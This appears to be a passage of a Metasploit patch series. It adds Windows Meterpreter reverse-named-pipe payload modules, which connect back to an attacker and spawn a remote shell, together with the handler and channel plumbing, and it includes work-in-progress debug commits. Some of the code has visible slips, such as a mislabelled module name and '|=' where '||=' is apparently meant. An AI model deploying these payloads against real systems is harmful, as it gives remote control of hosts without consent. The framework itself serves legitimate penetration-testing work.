'rex/post/meterpreter/extensions/stdapi/net/resolve' require 'rex/post/meterpreter/extensions/stdapi/net/config' require 'rex/post/meterpreter/extensions/stdapi/net/socket' +require 'rex/post/meterpreter/extensions/stdapi/net/named_pipe' require 'rex/post/meterpreter/extensions/stdapi/sys/config' require 'rex/post/meterpreter/extensions/stdapi/sys/process' require 'rex/post/meterpreter/extensions/stdapi/sys/registry' @@ -70,9 +71,10 @@ def initialize(client) 'name' => 'net', 'ext' => ObjectAliases.new( { - 'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client), - 'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client), - 'resolve' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Resolve.new(client) + 'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client), + 'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client), + 'named_pipe' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::NamedPipe.new(client), + 'resolve' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Resolve.new(client) }) }, { diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index a3a147ae491c4..4cf03f9d71410 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -96,6 +96,13 @@ module Stdapi TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 +# Named pipes +TLV_TYPE_NAMED_PIPE_SERVER = TLV_META_TYPE_STRING | 1600 +TLV_TYPE_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 1601 +TLV_TYPE_NAMED_PIPE_OPEN_MODE = TLV_META_TYPE_UINT | 1602 +TLV_TYPE_NAMED_PIPE_PIPE_MODE = TLV_META_TYPE_UINT | 1603 +TLV_TYPE_NAMED_PIPE_COUNT = TLV_META_TYPE_UINT | 1604 + ## # # Sys diff --git a/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb new file mode 100644 index 0000000000000..066399c15e3a0 --- /dev/null +++ b/modules/payloads/singles/windows/meterpreter_reverse_named_pipe.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/windows/meterpreter_loader' +require 'msf/base/sessions/meterpreter_x86_win' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = 957999 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + + super(merge_info(info, + 'Name' => 'Windows Meterpreter Shell, Reverse Named Pipe Inline', + 'Description' => 'Connect back to attacker via a channel pivot and spawn a Meterpreter shell', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseNamedPipe, + 'Session' => Msf::Sessions::Meterpreter_x86_Win + )) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']), + ], self.class) + end + + def generate + stage_meterpreter(true) + generate_config + end + + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block, which for staged connections is really simple. + config_opts = { + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_named_pipe(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b + end + +end + diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb new file mode 100644 index 0000000000000..7f01f8f1a7989 --- /dev/null +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_named_pipe.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_named_pipe' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/meterpreter_loader' +require 'msf/base/sessions/meterpreter_x64_win' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = 1189423 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Payload::Windows::MeterpreterLoader_x64 + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + + super(merge_info(info, + 'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline x64', + 'Description' => 'Connect back to attacker and spawn a Meterpreter shell', + 'Author' => [ 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X64, + 'Handler' => Msf::Handler::ReverseNamedPipe, + 'Session' => Msf::Sessions::Meterpreter_x64_Win + )) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) + ], self.class) + end + + def generate + stage_meterpreter(true) + generate_config + end + + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block + config_opts = { + arch: opts[:uuid].arch, + exitfunk: datastore['EXITFUNC'], + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config_reverse_named_pipe(opts)], + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the binary version of it + config.to_b + end + +end + From 13c6c3a0f5899ce820b22bbfe99eac1420d598b2 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 18 Apr 2016 18:05:32 +1000 Subject: [PATCH 02/23] Half-baked, debugging impl of named pipe stuff, verbose errors --- lib/msf/base/sessions/meterpreter.rb | 6 + lib/msf/core/handler.rb | 11 +- lib/msf/core/handler/reverse_named_pipe.rb | 103 +++++++---------- lib/msf/core/payload.rb | 2 +- lib/msf/core/payload/stager.rb | 1 + lib/rex/post/meterpreter/client.rb | 15 +++ .../named_pipe_client_channel.rb | 104 ++++++++++++++++++ .../named_pipe_server_channel.rb | 46 ++++---- .../post/meterpreter/extensions/stdapi/tlv.rb | 1 + 9 files changed, 195 insertions(+), 94 deletions(-) create mode 100644 lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index a2c031f93a0c5..fb6e2387a141e 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -45,13 +45,16 @@ def supports_zlib? # that is to be used as the client's connection to the server. # def initialize(rstream, opts={}) + STDERR.puts("Inside the meterp session init\n") super + STDERR.puts("updating capabilities\n") opts[:capabilities] = { :ssl => supports_ssl?, :zlib => supports_zlib? } + STDERR.puts("skip ssl bit\n") # The caller didn't request to skip ssl, so make sure we support it if not opts[:skip_ssl] opts.merge!(:skip_ssl => (not supports_ssl?)) @@ -61,6 +64,7 @@ def initialize(rstream, opts={}) # Parse options passed in via the datastore # + STDERR.puts("ssl handler cert stuff\n") # Extract the HandlerSSLCert option if specified by the user if opts[:datastore] and opts[:datastore]['HandlerSSLCert'] opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert'] @@ -72,11 +76,13 @@ def initialize(rstream, opts={}) # # Initialize the meterpreter client # + STDERR.puts("init meterp\n") self.init_meterpreter(rstream, opts) # # Create the console instance # + STDERR.puts("new console\n") self.console = Rex::Post::Meterpreter::Ui::Console.new(self) end diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index 2ed2842ba8495..fa14c37d486b8 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -132,6 +132,7 @@ def handler(sock) # the payload. This path will not be taken for multi-staged payloads. # def handle_connection(conn, opts={}) + STDERR.puts("Creating connection in handler.rb!\n") create_session(conn, opts) end @@ -192,15 +193,20 @@ def interrupt_wait_for_session # associated session. # def create_session(conn, opts={}) + STDERR.puts("create_session here!\n") # If there is a parent payload, then use that in preference. return parent_payload.create_session(conn, opts) if (parent_payload) + STDERR.puts("No parent payload, so continuing\n") # If the payload we merged in with has an associated session factory, # allocate a new session. - if (self.session) + if (self.session_klass) begin - s = self.session.new(conn, opts) + STDERR.puts("Creating a new session via self.session_klass #{self.session_klass.inspect}\n") + s = self.session_klass.new(conn, opts) + STDERR.puts("Creating a new session via self.session_klass succeeded: #{s.inspect}\n") rescue ::Exception => e + STDERR.puts("Creating a new session via self.session_klass failed: #{e.inspect}\n") # We just wanna show and log the error, not trying to swallow it. print_error("#{e.class} #{e.message}") elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") @@ -220,6 +226,7 @@ def create_session(conn, opts={}) # If the session is valid, register it with the framework and # notify any waiters we may have. if (s) + STDERR.puts("Attempting to register the session\n") register_session(s) end diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb index 72fc533e3e124..3aa58c2df647b 100644 --- a/lib/msf/core/handler/reverse_named_pipe.rb +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'thread' +require 'msf/core/post_mixin' module Msf module Handler @@ -14,8 +15,10 @@ module Handler # ### module ReverseNamedPipe + include Msf::Handler - include Msf::Handler::Reverse::Comm + #include Msf::Handler::Reverse::Comm + include Msf::PostMixin # # Returns the string representation of the handler type, in this case @@ -81,23 +84,25 @@ def pipe_name def start_handler queue = ::Queue.new - local_port = bind_port + server_pipe = session.net.named_pipe.create({listen: true, name: datastore['PIPENAME']}) - handler_name = "ReverseNamedPipeHandlerListener-#{pipe_name}" - self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue| + self.listener_thread = framework.threads.spawn(listener_name, false, queue) { |lqueue| loop do # Accept a client connection begin - client = listener_sock.accept - if client + channel = server_pipe.accept + STDERR.puts("accepted a channel connection: #{channel.inspect}") + if channel self.pending_connections += 1 - lqueue.push(client) + STDERR.puts("adding client channel") + lqueue.push(channel) + STDERR.puts("added client channel") end rescue Errno::ENOTCONN nil rescue StandardError => e wlog [ - "#{handler_name}: Exception raised during listener accept: #{e.class}", + "#{listener_name}: Exception raised during listener accept: #{e.class}", "#{$ERROR_INFO}", "#{$ERROR_POSITION.join("\n")}" ].join("\n") @@ -105,26 +110,32 @@ def start_handler end } - worker_name = "ReverseNamedPipeHandlerWorker-#{pipe_name}" self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| loop do begin - client = cqueue.pop + STDERR.puts("waiting for a channel\n") + channel = cqueue.pop + STDERR.puts("channel client : #{channel.inspect}\n") - unless client + unless channel elog("#{worker_name}: Queue returned an empty result, exiting...") end - # Timeout and datastore options need to be passed through to the client + # Timeout and datastore options need to be passed through to the channel opts = { datastore: datastore, + channel: channel, + skip_ssl: true, expiration: datastore['SessionExpirationTimeout'].to_i, comm_timeout: datastore['SessionCommunicationTimeout'].to_i, retry_total: datastore['SessionRetryTotal'].to_i, retry_wait: datastore['SessionRetryWait'].to_i } - #handle_connection(wrap_aes_socket(client), opts) + # pass this right through to the handler, the channel should "just work" + STDERR.puts("Invoking handle_connection\n") + STDERR.puts("opts : #{opts.inspect}\n") + handle_connection(channel.lsock, opts) rescue StandardError elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") end @@ -132,53 +143,6 @@ def start_handler } end - def wrap_aes_socket(sock) - if datastore["PAYLOAD"] !~ %r{java/} || (datastore["AESPassword"] || "") == "" - return sock - end - - socks = Rex::Socket.tcp_socket_pair - socks[0].extend(Rex::Socket::Tcp) - socks[1].extend(Rex::Socket::Tcp) - - m = OpenSSL::Digest.new('md5') - m.reset - key = m.digest(datastore["AESPassword"] || "") - - Rex::ThreadFactory.spawn('Session-AESEncrypt', false) do - c1 = OpenSSL::Cipher.new('aes-128-cfb8') - c1.encrypt - c1.key = key - sock.put([0].pack('N')) - sock.put((c1.iv = c1.random_iv)) - buf1 = socks[0].read(4096) - while buf1 && buf1 != "" - sock.put(c1.update(buf1)) - buf1 = socks[0].read(4096) - end - sock.close - end - - Rex::ThreadFactory.spawn('Session-AESDecrypt', false) do - c2 = OpenSSL::Cipher.new('aes-128-cfb8') - c2.decrypt - c2.key = key - - iv = "" - iv << sock.read(16 - iv.length) while iv.length < 16 - - c2.iv = iv - buf2 = sock.read(4096) - while buf2 && buf2 != "" - socks[0].put(c2.update(buf2)) - buf2 = sock.read(4096) - end - socks[0].close - end - - socks[1] - end - # # Stops monitoring for an inbound connection. # @@ -189,9 +153,10 @@ def stop_handler # Terminate the handler thread handler_thread.kill if handler_thread && handler_thread.alive? == true - if listener_sock + if server_pipe begin - listener_sock.close + STDERR.puts("Closing the server pipe\n") + server_pipe.close rescue IOError # Ignore if it's listening on a dead session dlog("IOError closing listener sock; listening on dead session?", LEV_1) @@ -199,9 +164,19 @@ def stop_handler end end - protected +protected + + def listener_name + @listener_name |= "ReverseNamedPipeHandlerListener-#{pipe_name}-#{datastore['SESSION']}" + @listener_name + end + + def worker_name + @worker_name |= "ReverseNamedPipeHandlerWorker-#{pipe_name}-#{datastore['SESSION']}" + @worker_name + end - attr_accessor :listener_sock # :nodoc: + attr_accessor :server_pipe # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :handler_thread # :nodoc: attr_accessor :conn_threads # :nodoc: diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index dcfc550e9f840..7d78ba08f9d06 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -295,7 +295,7 @@ def handler_klass # Returns the session class that is associated with this payload and will # be used to create a session as necessary. # - def session + def session_klass return module_info['Session'] end diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index cf3e51a70976e..03e36a6f8e72e 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -154,6 +154,7 @@ def generate_stage(opts={}) # @param (see handle_connection_stage) # @return (see handle_connection_stage) def handle_connection(conn, opts={}) + STDERR.puts("Creating connection in stager.rb!\n") # If the stage should be sent over the client connection that is # established (which is the default), then go ahead and transmit it. if (stage_over_connection?) diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 24472fe8bb9d9..69ce0bc1d344e 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -104,6 +104,7 @@ def cleanup_meterpreter # Initializes the meterpreter client instance # def init_meterpreter(sock,opts={}) + STDERR.puts("init_meterp: 1\n") self.sock = sock self.parser = PacketParser.new self.ext = ObjectAliases.new @@ -113,6 +114,7 @@ def init_meterpreter(sock,opts={}) self.capabilities = opts[:capabilities] || {} self.commands = [] self.last_checkin = Time.now + STDERR.puts("init_meterp: 2\n") self.conn_id = opts[:conn_id] self.url = opts[:url] @@ -122,6 +124,7 @@ def init_meterpreter(sock,opts={}) self.retry_total = opts[:retry_total] self.retry_wait = opts[:retry_wait] self.passive_dispatcher = opts[:passive_dispatcher] + STDERR.puts("init_meterp: 3\n") self.response_timeout = opts[:timeout] || self.class.default_timeout self.send_keepalives = true @@ -131,6 +134,7 @@ def init_meterpreter(sock,opts={}) self.encode_unicode = false # The SSL certificate is being passed down as a file path + STDERR.puts("init_meterp: 4\n") if opts[:ssl_cert] if ! ::File.exists? opts[:ssl_cert] elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored") @@ -141,28 +145,39 @@ def init_meterpreter(sock,opts={}) end if opts[:passive_dispatcher] + STDERR.puts("init_meterp: 5\n") initialize_passive_dispatcher + STDERR.puts("init_meterp: 6\n") register_extension_alias('core', ClientCore.new(self)) + STDERR.puts("init_meterp: 7\n") initialize_inbound_handlers + STDERR.puts("init_meterp: 8\n") initialize_channels # Register the channel inbound packet handler register_inbound_handler(Rex::Post::Meterpreter::Channel) + STDERR.puts("init_meterp: 9\n") else + STDERR.puts("init_meterp: 10\n") # Switch the socket to SSL mode and receive the hello if needed if capabilities[:ssl] and not opts[:skip_ssl] swap_sock_plain_to_ssl() end + STDERR.puts("init_meterp: 11\n") register_extension_alias('core', ClientCore.new(self)) + STDERR.puts("init_meterp: 12\n") initialize_inbound_handlers + STDERR.puts("init_meterp: 13\n") initialize_channels + STDERR.puts("init_meterp: 14\n") # Register the channel inbound packet handler register_inbound_handler(Rex::Post::Meterpreter::Channel) + STDERR.puts("init_meterp: 15\n") monitor_socket end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb new file mode 100644 index 0000000000000..a1d7e6c148020 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb @@ -0,0 +1,104 @@ +# -*- coding: binary -*- + +require 'thread' +require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/stream' +require 'rex/post/meterpreter/extensions/stdapi/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net +module SocketSubsystem + +### +# +# This class represents a logical TCP client connection +# that is established from the remote machine and tunnelled +# through the established meterpreter connection, similar to an +# SSH port forward. +# +### +class NamedPipeClientChannel < Rex::Post::Meterpreter::Stream + + ## + # + # Factory + # + ## + + # + # Opens a TCP client channel using the supplied parameters. + # + def NamedPipeClientChannel.open(client, params) + c = Channel.create(client, 'stdapi_net_named_pipe_client', self, CHANNEL_FLAG_SYNCHRONOUS, + [ + { 'type' => TLV_TYPE_PEER_HOST, 'value' => params.peerhost }, + { 'type' => TLV_TYPE_PEER_PORT, 'value' => params.peerport }, + { 'type' => TLV_TYPE_LOCAL_HOST, 'value' => params.localhost }, + { 'type' => TLV_TYPE_LOCAL_PORT, 'value' => params.localport }, + { 'type' => TLV_TYPE_CONNECT_RETRIES, 'value' => params.retries } + ]) + c.params = params + c + end + + ## + # + # Constructor + # + ## + + # + # Passes the channel initialization information up to the base class. + # + def initialize(client, cid, type, flags) + STDERR.puts("NP client: #{client.inspect}\n") + STDERR.puts("NP cid: #{cid.inspect}\n") + STDERR.puts("NP type: #{type.inspect}\n") + STDERR.puts("NP flags: #{flags.inspect}\n") + + super(client, cid, type, flags) + + STDERR.puts("Parent initialised\n") + + lsock.extend(SocketInterface) + lsock.extend(DirectChannelWrite) + lsock.channel = self + + rsock.extend(SocketInterface) + rsock.channel = self + end + + # + # Closes the write half of the connection. + # + def close_write + return shutdown(1) + end + + # + # Shutdown the connection + # + # 0 -> future reads + # 1 -> future sends + # 2 -> both + # + def shutdown(how = 1) + request = Packet.create_request('stdapi_net_socket_named_pipe_shutdown') + + request.add_tlv(TLV_TYPE_SHUTDOWN_HOW, how) + request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid) + + client.send_request(request) + + return true + end + +end + +end; end; end; end; end; end; end + + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb index e8fd13c69962a..f09641c537c10 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb @@ -3,7 +3,7 @@ require 'thread' require 'rex/post/meterpreter/channels/stream' require 'rex/post/meterpreter/extensions/stdapi/tlv' -#require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel' +require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel' module Rex module Post @@ -39,31 +39,30 @@ def self.request_handler(client, packet) cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID ) pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID ) - #localhost = packet.get_tlv_value( TLV_TYPE_LOCAL_HOST ) - #localport = packet.get_tlv_value( TLV_TYPE_LOCAL_PORT ) - #peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) - #peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) + name = packet.get_tlv_value( TLV_TYPE_NAMED_PIPE_NAME ) - return false if cid.nil? || pid.nil? + STDERR.puts("New connection received on the named pipe") + STDERR.puts("cid : #{cid.inspect}\n") + STDERR.puts("pid : #{pid.inspect}\n") + STDERR.puts("name: #{name.inspect}\n") - server_channel = client.find_channel(pid) + channel = client.find_channel(pid) - return false if server_channel.nil? + return false if channel.nil? params = { - #'LocalHost' => localhost, - #'LocalPort' => localport, - #'PeerHost' => peerhost, - #'PeerPort' => peerport, - 'Comm' => server_channel.client + 'Comm' => channel.client } - client_channel = NamedPipeClientChannel.new(client, cid, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS) + STDERR.puts("Creating new named pipe client\n") + client_channel = NamedPipeClientChannel.new(client, pid, NamedPipeClientChannel, CHANNEL_FLAG_SYNCHRONOUS) + STDERR.puts("client_channel created\n") client_channel.params = params - @@server_channels[server_channel] ||= ::Queue.new - @@server_channels[server_channel].enq(client_channel) + STDERR.puts("queuing it up\n") + @@server_channels[channel] ||= ::Queue.new + @@server_channels[channel].enq(client_channel) true end @@ -95,6 +94,7 @@ def self.open(client, params) {'type'=> TLV_TYPE_NAMED_PIPE_OPEN_MODE, 'value' => open_mode}, {'type'=> TLV_TYPE_NAMED_PIPE_PIPE_MODE, 'value' => params[:pipe_mode] || 0}, {'type'=> TLV_TYPE_NAMED_PIPE_COUNT, 'value' => params[:count] || 0}, + {'type'=> TLV_TYPE_NAMED_PIPE_REPEAT, 'value' => params[:repeat] == true} ] ) c.params = params c @@ -141,17 +141,9 @@ def accept(opts = {}) protected def _accept(nonblock = false) - result = nil - - channel = @@server_channels[self].deq(nonblock) - - if channel - result = channel.lsock - end - - if result != nil && !result.kind_of?(Rex::Socket::Tcp) - result.extend(Rex::Socket::Tcp) - end + STDERR.puts("waiting for a connection\n") + result = @@server_channels[self].deq(nonblock) + STDERR.puts("accepted: #{result.inspect}\n") result end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 4cf03f9d71410..7c96c2fa1653a 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -102,6 +102,7 @@ module Stdapi TLV_TYPE_NAMED_PIPE_OPEN_MODE = TLV_META_TYPE_UINT | 1602 TLV_TYPE_NAMED_PIPE_PIPE_MODE = TLV_META_TYPE_UINT | 1603 TLV_TYPE_NAMED_PIPE_COUNT = TLV_META_TYPE_UINT | 1604 +TLV_TYPE_NAMED_PIPE_REPEAT = TLV_META_TYPE_BOOL | 1605 ## # From c72ff391d318ec05bec2aaa5ace9417ebabd3f33 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 Apr 2016 20:28:03 +1000 Subject: [PATCH 03/23] Remove debug stuff, add support for ExitOnSession false --- lib/msf/base/sessions/meterpreter.rb | 6 ------ lib/msf/core/handler.rb | 7 ------- lib/msf/core/handler/reverse_named_pipe.rb | 14 +++++--------- lib/msf/core/payload/stager.rb | 1 - lib/rex/post/meterpreter/client.rb | 15 --------------- .../socket_subsystem/named_pipe_client_channel.rb | 7 ------- .../socket_subsystem/named_pipe_server_channel.rb | 11 ----------- 7 files changed, 5 insertions(+), 56 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index fb6e2387a141e..a2c031f93a0c5 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -45,16 +45,13 @@ def supports_zlib? # that is to be used as the client's connection to the server. # def initialize(rstream, opts={}) - STDERR.puts("Inside the meterp session init\n") super - STDERR.puts("updating capabilities\n") opts[:capabilities] = { :ssl => supports_ssl?, :zlib => supports_zlib? } - STDERR.puts("skip ssl bit\n") # The caller didn't request to skip ssl, so make sure we support it if not opts[:skip_ssl] opts.merge!(:skip_ssl => (not supports_ssl?)) @@ -64,7 +61,6 @@ def initialize(rstream, opts={}) # Parse options passed in via the datastore # - STDERR.puts("ssl handler cert stuff\n") # Extract the HandlerSSLCert option if specified by the user if opts[:datastore] and opts[:datastore]['HandlerSSLCert'] opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert'] @@ -76,13 +72,11 @@ def initialize(rstream, opts={}) # # Initialize the meterpreter client # - STDERR.puts("init meterp\n") self.init_meterpreter(rstream, opts) # # Create the console instance # - STDERR.puts("new console\n") self.console = Rex::Post::Meterpreter::Ui::Console.new(self) end diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index fa14c37d486b8..6792d83abecc2 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -132,7 +132,6 @@ def handler(sock) # the payload. This path will not be taken for multi-staged payloads. # def handle_connection(conn, opts={}) - STDERR.puts("Creating connection in handler.rb!\n") create_session(conn, opts) end @@ -193,20 +192,15 @@ def interrupt_wait_for_session # associated session. # def create_session(conn, opts={}) - STDERR.puts("create_session here!\n") # If there is a parent payload, then use that in preference. return parent_payload.create_session(conn, opts) if (parent_payload) - STDERR.puts("No parent payload, so continuing\n") # If the payload we merged in with has an associated session factory, # allocate a new session. if (self.session_klass) begin - STDERR.puts("Creating a new session via self.session_klass #{self.session_klass.inspect}\n") s = self.session_klass.new(conn, opts) - STDERR.puts("Creating a new session via self.session_klass succeeded: #{s.inspect}\n") rescue ::Exception => e - STDERR.puts("Creating a new session via self.session_klass failed: #{e.inspect}\n") # We just wanna show and log the error, not trying to swallow it. print_error("#{e.class} #{e.message}") elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") @@ -226,7 +220,6 @@ def create_session(conn, opts={}) # If the session is valid, register it with the framework and # notify any waiters we may have. if (s) - STDERR.puts("Attempting to register the session\n") register_session(s) end diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb index 3aa58c2df647b..b049e40b00312 100644 --- a/lib/msf/core/handler/reverse_named_pipe.rb +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -84,19 +84,20 @@ def pipe_name def start_handler queue = ::Queue.new - server_pipe = session.net.named_pipe.create({listen: true, name: datastore['PIPENAME']}) + server_pipe = session.net.named_pipe.create({ + listen: true, + name: datastore['PIPENAME'], + repeat: datastore['ExitOnSession'] == false + }) self.listener_thread = framework.threads.spawn(listener_name, false, queue) { |lqueue| loop do # Accept a client connection begin channel = server_pipe.accept - STDERR.puts("accepted a channel connection: #{channel.inspect}") if channel self.pending_connections += 1 - STDERR.puts("adding client channel") lqueue.push(channel) - STDERR.puts("added client channel") end rescue Errno::ENOTCONN nil @@ -113,9 +114,7 @@ def start_handler self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| loop do begin - STDERR.puts("waiting for a channel\n") channel = cqueue.pop - STDERR.puts("channel client : #{channel.inspect}\n") unless channel elog("#{worker_name}: Queue returned an empty result, exiting...") @@ -133,8 +132,6 @@ def start_handler } # pass this right through to the handler, the channel should "just work" - STDERR.puts("Invoking handle_connection\n") - STDERR.puts("opts : #{opts.inspect}\n") handle_connection(channel.lsock, opts) rescue StandardError elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") @@ -155,7 +152,6 @@ def stop_handler if server_pipe begin - STDERR.puts("Closing the server pipe\n") server_pipe.close rescue IOError # Ignore if it's listening on a dead session diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 03e36a6f8e72e..cf3e51a70976e 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -154,7 +154,6 @@ def generate_stage(opts={}) # @param (see handle_connection_stage) # @return (see handle_connection_stage) def handle_connection(conn, opts={}) - STDERR.puts("Creating connection in stager.rb!\n") # If the stage should be sent over the client connection that is # established (which is the default), then go ahead and transmit it. if (stage_over_connection?) diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 69ce0bc1d344e..24472fe8bb9d9 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -104,7 +104,6 @@ def cleanup_meterpreter # Initializes the meterpreter client instance # def init_meterpreter(sock,opts={}) - STDERR.puts("init_meterp: 1\n") self.sock = sock self.parser = PacketParser.new self.ext = ObjectAliases.new @@ -114,7 +113,6 @@ def init_meterpreter(sock,opts={}) self.capabilities = opts[:capabilities] || {} self.commands = [] self.last_checkin = Time.now - STDERR.puts("init_meterp: 2\n") self.conn_id = opts[:conn_id] self.url = opts[:url] @@ -124,7 +122,6 @@ def init_meterpreter(sock,opts={}) self.retry_total = opts[:retry_total] self.retry_wait = opts[:retry_wait] 